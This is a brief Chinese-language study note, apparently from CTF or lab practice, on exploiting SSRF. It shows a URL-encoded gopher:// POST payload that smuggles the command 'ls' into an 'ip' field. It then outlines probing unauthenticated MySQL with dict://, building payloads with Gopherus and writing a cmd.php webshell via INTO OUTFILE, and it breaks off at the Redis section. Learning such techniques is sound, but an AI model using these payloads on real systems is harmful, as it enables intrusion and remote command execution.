使用SSRF进行POST提交命令执行
使用gopher伪协议进行POST提交
POST提交格式:
POST/ HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencodedContent-Length:15
ip=127.0.0.1;ls
需要4个参数和提交内容
提交内容的键值可以通过查看网页源代码
将我们构造的内容两次url编码
注意要加上端口号
url=gopher%3A%2F%2F172.250.250.5%3A80%2F_POST HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
ip=127.0.0.1;ls
使用SSRF对mysql未授权文件写入
先学习一下mysql写shell
https://www.cnblogs.com/zztac/p/11371149.html
通过MySQL写入webshell的几种方式(小宇特详解)_mysql写webshell-CSDN博客
大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的
curl gopher://127.0.0.1/_XXXXXX 大概像这样
条件 :mysql+ php架构 dict://127.0.0.1:3306/info 判断未授权
然后我们用工具
Gopherus生成payload
这个命令看读写文件函数调用限制
注意:当执行这个命令时,需要注意单引号使用的是直角引号(‘’),而不是通常编程中使用的单引号(‘’)。这可能会导致语法错误,正确的命令应该使用标准单引号:
SHOW VARIABLES LIKE '%secure%';
这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于:
可以看到这里secure_file_priv 后面的值为空
所以
对导入导出无限制
使用into outfile生成文件cmd.php并写入一句话
使用SSRF对redi未授权webshell写入
原理:
也是用工具构造payload
(手动构造的还没有看懂)